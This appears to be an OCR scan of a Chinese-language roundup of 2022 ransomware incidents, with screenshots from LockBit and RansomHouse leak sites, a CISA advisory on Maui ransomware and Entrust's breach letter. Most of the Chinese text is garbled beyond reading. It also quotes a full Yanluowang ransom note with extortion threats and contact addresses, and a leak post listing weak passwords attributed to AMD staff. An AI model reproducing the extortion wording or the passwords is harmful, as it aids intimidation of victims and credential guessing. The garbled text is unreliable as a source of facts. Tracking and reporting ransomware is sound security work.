pl Hﬂilﬁjﬁﬁﬁmﬁ%ﬂﬂﬁﬂ)jﬂ’ﬁ(#, At ImE X MRRARBEBX—FEF X THEEO#EZ L
i=|

7~No
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| =40 #856 #=0) =BV ®=HH

/|Hi, =ince you are reading this it means vou have been hacked. In addition to encrypting all -
vour systems, deleting backups, we also downloaded 2 terabytes of confidential

information. Here’ s what you shouldn’t do:l) Contact the police, fbi or other authorities
before the end of owr deal?) Contact the recovery company so that they would conduct
dialogues with us. (This can slow down the recovery, and generally put our communication to
naught}3) Do not try to decrypt the files yourself, as well as do not change the file
extension yvourself !!! This can lead to the impossibility of their decryption. 4) Eeep us i
for fools)We will also stop any commnication with you, and continue DDoS, calls to
employees and business partners. In a few weeks, we will simply repeat our attack and
delete all yvour data from vour networks, WHICH WILL LEAD TO THEIR UNAVAILABILITY!Here s
what you should do right after reading it:1) If you are an ordinary emplovee, send our
message to the CEO of the company, as well as to the IT department2) If wou are a CEQ, or a
specialist in the IT department, or another person who has weight in the company, you
should contact us within 24 hours by emall.We are ready to confirm all our intentions
regarding DD0S, calls, and deletion of the date at wour first request.As a gzuarantee that
we can decrypt the files, we suggest that you send several files for free decryption.Mails
to contact us:l)cang. leen®mailfence. con2)van. laowang®mail fence. comJ+1Gs6RiINGTOP

+TLefywdem] 20vafzDC dDZAHUDODZ+5vDzqfmt 16D g fqdcIvRl

higaqi Cw il vZEsH+ fefx0TRqhiH+ g2 24 peShmpaht el 2pVar TBuiZCp i U4PTPvoiv

M1 MELF gXEF MY S0ncBOrlelvi jr 2Cellh/ BERgwvreI=

. “Yanluowang” #&E(E

12. RAUHWMELZREBRIE, SEMESHENE
R 250

5R6H, XEMBRIHMHEERER (AGCO) AHEMAREMNR, IEXIZATE
ITHIER T BRI, ZRERWYMGIETWHNELZ —, BRI dE M ET
H il SURAEMNREEFSTNERERNHREET . SASH, ZRASE
HE SR EZZEFEMXENRRBEE ST, B, THREHRTHTRE IR
EMHEA T RE M.
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»AAGCO IR RN FRARGE EOMBRSE e 23 RaE
Your Agriculture Company

AR /%

EW/ WRES / BEEEDERENE

ENSHAFTREINE

2022%5H6H

AGCO, Your Agriculture Company (NYSEAGCO) B—F2BRUIBEMENNL 88, SXEH, BF 20225585848
HYFERHRE, BHEFRRTHVE. FROTBENEOESR, ERTRISEEREN/NEROTHE®E, RETRERK
B EA 2 EERERS, AERATLASEERSRARE. A EMENRNERRMNEN.

KT B TS QBRI

#MRAZLEEORD B L, IFERTRASHMEENFEEALE, QENNEZPSY SHRNENRRENHF
O IT ZEHREH

XTFEH
FH (ANEHEHHARS: AGCO) ERUIHBIMEREEA R, HEhsBNLHHSE. FHEIRESHARES
{83#% Challenger®, Fendi®. GSI®. Massey Ferquson® 0 Valua® $iZ0208) HEFOHENI . 7 Fuse® BRI
BARROEHAT, BERN227RFORSENHREIHSMILERNOLR . EBREZT 1990 4, SBETEEDETH
/507, 2021 42 EWEH 1 2XT. EXEZRL, BHEw m o HEALSMNE. KeiE, RE
Twitter FXF#Hi{): @AGCOCorp. HX Twitter LRI ZSHM., WHTLAGCOIR 7L

WS EIIR - o]

- AGCO BEMFEHA

13. MEAZZEXRHUNBEHRIGE, SHE 44GB W
Gk e
58118, MEA. BEEFORFHIEIETR Top Aces B, EBT Locksi
BRGNS ;LockBit KB MBS EHE TR, MR AMSHABHFIE 4GB i

#REIE. LockBit B BRIRBITH#MRKMHARS Faz—, EHRITSFERET 7T ED 650
ERAR.
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14.

I.OC LEAKE D DATA ( l ) CONDITIONS FOR PARTNERS AND CONTACTS >

UNTIL FILES

5D 09:55:43

PUBLICATION

15 May, 2022 23:59:00

TOW,
Aces topaces.us
44GB of data. Part 1. About us: Top Aces provides advanced airborne training to the world's leading air
forces. Founded in 2000 by a group of highly accomplished former fighter pilots Top Aces has the largest

footprint of privately-heid fighter aircraft that provide advanced adversary, air-
defence and Joint Terminal Attack Controller (JTAC) training services around the globe

ALL AVAILABLE DATA WILL BE PUBLISHED !

& : LockBit XEETIHEER

B & #E I F A S EE R R BUE

5 A 21 H, BABGEBEZARARR, HEEHE (Nikkei Group) ALTFHTANE B9 72
SFEHEZSHERRGRE. HEEATMND A SRR, ZAE—BRSHEARE 5 B 13
) BERFENEFER, 51% T HITEE, AMEHRKG. BEHEFzR, IEHHNRS
HBERFLHE HEBREERERHNMERAEE" .

3

P

»

P

b

P

b

P

2022

201

2020

2019

2018

2017

2016

2015

20220519
Fit AR —IWEAANOFREZ 2 ERICDNT

nE ) Tweet

BEEFmeit OEAmME L T AR I S ERBEN I - FTFYTERO Y - s - 2R S RE
MFELTIEANGEL HAAE SR, SEEERB LAY LOTFIIZERL I hia
Lt

TEFITAIL2022F5A 3E ICHIBALE L iz, - o - ISR ESE OB E L LA o TL T EE E hid
WoBE. 2 - OBEAEERHELRISS TILLEIL RE ESOMECERSF OEEEEN T
BUET.

M, TETO T AEREE. BT OHAERC 0L EELATREORS T - - BRIF T DAY 0
SEREHTT.

FODMREICCERELEESN T ICERCGED R LEIF X T BRHA L@ LA o B E
ESDLLED FEEEOREICEOTILNIT.

{EHICET IERMLE DR

BES - FFITET

W|EE +65-6336-4122( 18- MEH B - LR 10:00~17:001
A= FF -3 inguiry_nga@nex.nikkelcojpo

https:/fwww.nikkeiasia.com/index.html
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| BEKBA R WAEKHE

15. EEFZAMEEHRRERE, KERFHEEN
7]

5HF 26 H, ENEERM=/AE (Spicelet) &7, HTRFES B 24 HZHRWMHFH
T, ERSAMER, AERTHENG . LANERMESEECRRNMERE, B
BEEMEENELEISENAZRE, BNNHEREELAERNEFREK.

et Splce.lletp y
b ©@flyspicejet

#lmportantUpdate: Certain SpiceJet systems faced an
attempted ransomware attack last night that impacted and
slowed down morning flight departures today. Our IT team
has contained and rectified the situation and flights are
operating normally now.

11:00 AM - May 25, 2022

. Spicelet E /7 B

16. EXREHIFT I EHRRMAIE

6 A3 H, BEXRASWMIANAMNTRERSTN—RESTL £ 5 A TERSRRALE
RIS, BYREMHALR LockBit FARXTLLTATT. RIBE TRIVBS, BRIKHFAR LockBit &
5R 31 BRETHE, AMEEENELRGBNENE, REELREG6R 11 BZAIxM
Bi& . LockBit MBEREZERBRMNARK, WREEBRBTAXTEIENES, HTELRA
HZmERTEMERBEF~M, LockBit20 RETBEE L TR 7 A REEFEKEFN =M
IRFERIE R,
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CONDITIONS FOR

LOC LEAKED DATA ! PARTNERS AND

CONTACTS

UNTIL FILES

10D 07:19:03

PUBLICATION

. -
11 Jun, 2022 18:01:00

foxconnbc.com

Foxconn foxconnbe.com Foxconn Baja Calornia is located In the city of Tiuana, on the
border with San Diego, California, this being a strategic geographical point in
the reception and distribution of materials, as well as a commercial
relationship between both countries

ALL AVAILABLE DATA WILL BE PUBLISHED !

- LockBit M uf 2 I~ E it B T A

17.  EMETRAEDE T E I EFAIKEHE - 600GB HIE kD

6 810 B, FEMEREEPEBHZTER Shoprite AT BREBT —EREEM, FHa
HE L=, MR TRBLLTHRARLES, RN DMAGETRELRZEIRNE. 1%
ANTEFPFRR, BEENSIEEENAGZMEMESHE, BARYEVEEEHRT
W=, 68 14 B, #$1&RE4FA{k RansomHouse BRI R T TR, &M T —0HIEHRM
Shoprite ZIELZ#Y 600GB #BAIFEA

—
SHOPRITE HOLDINGS LTD
—~ Dets wabed
3 —- - - ~ - - - -
e
=9 ooy =y
- e e e
Status (VIDINCE
©,_ i

: RansomHouse #1Z& M52 4 Shoprite 3| A =&
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18. RansomHouse EfF &I HEEL AMD 450GB
Bz

6 A, ®&7A RansomHouse FIRRALNFEIR, BINEHTFFAREL AMD HFRS,
FHEIET 450GB H9E#E, HPEHE "MEXMH. REELIMUK AMD Zi8 ., iZ8REAKE
¥ AMD RINE T HERHEMIL E, FRR7 AMD REAT EEMNEE RRPEMNLE,
ZHIKAINZ SR, MR T TERAEGMINEEES), XBERELXFREAMD R, M
—BHRBNEMEZNHEN, METRAETEE. AMD RRENEZEEHRAEES

Share
. .
Advanced Micro Devices, Inc

Advanced Micro Devices, Inc. is an American multinational , Data Ieaked
semiconductor company based in Santa Clara, California, that develops ’ 05/01/2022
computer processors and related technologies for business and -
consumer markets. Traded as: NASDAQ: amd AMD, Nasdagq 100 ~‘
component, S&P 500 component 6 Downloaded

more than 450Gb

Contact
X us
Website Revenue Employees
$16.4 billion 22500 Status:
204 27/06/2022
Evidence packs: Password:
| no password

An era of high-end technology, progress and top security..there's so much in these words ior the crowds But it seems those are still Just beautiful
words when even technology giants like AMD use simple passwords like ‘password’, P@ssw( Password(Q', ‘amd!23’, '123456a

and '12345qwert™ to protect their networks from intrusion. It is a shame tho<e are real p-nssv ords use’! by AMD ump!oyees but a blgger shame to
AMD Secmlty Department which gets significant financing according to the documents we got our our hands on - all thanks to these passwords.

& : RansomHouse F{k/AFF AMD it 5& £ 3

19. EXFEHRHEHERZXEFA Maui BIRREGEHEETRE
P

7HA6H, XKEBBEERF (FBI). WESEMRELZSE (CISA) FIMBES (DoT) &
R, BEAERNARTAR, TEMNRSRREXESBONET RENMF AL D AR
NEERSG. ARBHNKEAET, XBFVMEY, HRIEXERZEENZELTERE
2021 FF 5 BFHAEREM Maui B1RE M. R, XFETREVIMHRSSARSENE,
FREBERRILE. BEFEREMEBDNRI,
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Alert (AA22—187A) More Alerts

North Korean State-Sponsored Cyber Actors Use Maui
Ransomware to Target the Healthcare and Public Health
Sector

Original release date: July 06,2022

Print A Twest Send

Summary

The Federal Bureau of Investigation (FBI}, Cybersecurity and Infrastructure Security
Agency (CISA), and the Department of the Treasury (Treasury) are releasing this joint
Cybersecurity Advisory (CSA) to provide information on Maui ransomware, which has
been used by North Korean state-sponsored cyber actors since at least May 2021 to
target Healthcare and Public Health (HPH) Sector organizations.

This joint CSA provides information—including tactics, techniques, and procedures
(TTPs) and indicators of compromise (I0Cs)—on Maui ransemware obtained from FBI
incident response activities and industry analysis of a Maui sample. The FBI, CISA, and
Treasury urge HPH Sector organizations as well as other critical infrastructure
organizations to apply the recommendations in the Mitigations section of this C5A to
reduce the likelihood of compromise from ransomware operations. Victims of Maui
ransomware should report the incident to their local FBI field office or CISA.

P MESEMERZERF (CISA) &

20. EHRFSEETA 128" SMEEBIESRRG

7 B 19 B, HEAWERTOUOAN—FHENRSEETENETBHRERGE—
SafeSound, 1Z BRI SafeSound HZIBE RS, BT Tk . 4ehskE" FhEk
SMERFTRIE. —B SafeSound 1R MHETT, XA FABRAZHE TR T e
HFrE XA #HTINE, MERRESHRELESREENTNTER, FESEEEIME
XANARRAZEZRERS, "R EXNES T KRB ME Key, BEIBEREREN
X, WEE X SafeSound IR HRFME TR, HEMBERAATHER.
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) safeSound Antidote

T R AT i EIEEe0e0 St :
Eg{%ﬁﬁigﬁ Mg, &5, X SHHENET . BFERK C: Py thorZTARERDIE. txet. SafeSo
o g% .

C:\FythonZTADLLs\bz2
=

2. HZn T el X ST 7 Egiiﬁgﬁﬁm e
EFHRAG MRS 88, M 1000E i
il LR e e crv o

C:4Python2ThD
C:4Fython2ThD
C:4Fython2ThILLsY_
C:\Python2T4DLLsY_

4

. SafeSound #1E =

21. BEEXESHRRMAIE A I EXEE%, Al
SR LRHT

78218, EEEMELTMEER (KnaufGroup) EHEMMEHEH BiR. HIE
EEWHEHINEL, BESEKITAAXA TS T REMUREEEHFF N, &4 Black Basta Ay
PRGERAKEENIE FRAEAE, T 7 8 16 BE TR AZEE, SRR ERKE
N7 —HEEE, ERERHHEMUTELTIREI SRR 20%. BRIEEF 8T
350 B IF a1 F 0] T XL 1,

! Black Basta R[] PR oI fR5 | AT X EH

22. HFREEL Entrust IE R KA IKBE

7 B 21 B, & BleepingComputer F#HTiRIE, #FLEEL Entrust ELIELER 7K
KWE, BEMEBIR TN EHMNRNERRGETI T EUE, Entrust @—REEFTELE
FEMSHERENREAE, BETZHRS, BENEERE. LEVBFTI I SHUERER
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TR RMIERENEIE, XMBETESZMAEEM Entrust #HITSHEEMNZNIIER
KBNGRAR.

[ N S
@ .

ENTRUST

SECURING A WORLD IN MOTION
July 6, 2022

| am writing to let you know that on June 18, we leamed that an unauthorized party
accessed certain of our systems used for internal operations. We have been working
tirelessly to remediate this situation since that moment.

The first thing | want to tell you is that, although our investigation is ongoing, we have
found no indication to date that the issue has affected the operation or security of our
products and services,

Upon leaming of the issue, we informed law enforcement and began working with a
leading third-party cybersecurity firm. Though our investigation continues, we have no
evidence of engoing unauthorized access 1o our systems and are implementing
additional safeguards to help enhance our security.

We have determined that some files were taken from our internal systems. As we
continue to investigate the issue, we will contact you directly if we leamn information that
we believe would affect the security of the products and services we provide to your
organization.

We deeply value our refationship with you and take seriously our responsibility to
protect our systems and provide uninterrupled services to you. If you have additional
questions, please contact your account representative.

Sincerely,

A '@ . L
N3ASMER L)

Todd Wilkinson
_President & CEQ, Entrust

. Entrust /AS] CEO K ARFNLZEEMESE

23. BANBFREEHRRMAHIE, 78GB HIEKH

7B 258, BAF (RERIR) RiE, BMREMAFREIK Lockbit FFREZNE T RAFIFS
/& (Agenzia delle Entrate), MAFETELT 29 78GB ik, HPBF A, HEH. M5
REFMER, FHEMT XHMHEAERE, FEMBEATIRESBE S RAZMARE, FRIfh(]
M N T BB IS EEE.
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Deadline: 31 Jul, 2022 05:15:54 UTC

agenziaentrate.gov.it

The Revenue Agency, operational since 1 January 2001, was born from the reorganization of the Finandal
Administration following the Legislative Decree No. 300 of 1999,

It has its own statute and specific regul governing admin: n and accountin

The bedies of the Agency are made up of the Director, the Management Committee. the Board of Auditors.
From 1 December 2012 the Revenue Agency incorporated the Territory Agency (artide 23-quater of Legislative
Decree 95/2012)

Stolen 78GB: company documents, scans, financial reports, contracts,
Later we will attach screenshots of files

ALL AVAILABLE DATA WILL BE PUBLISHED !

. LockBit Zf7EMuh EHYIB &
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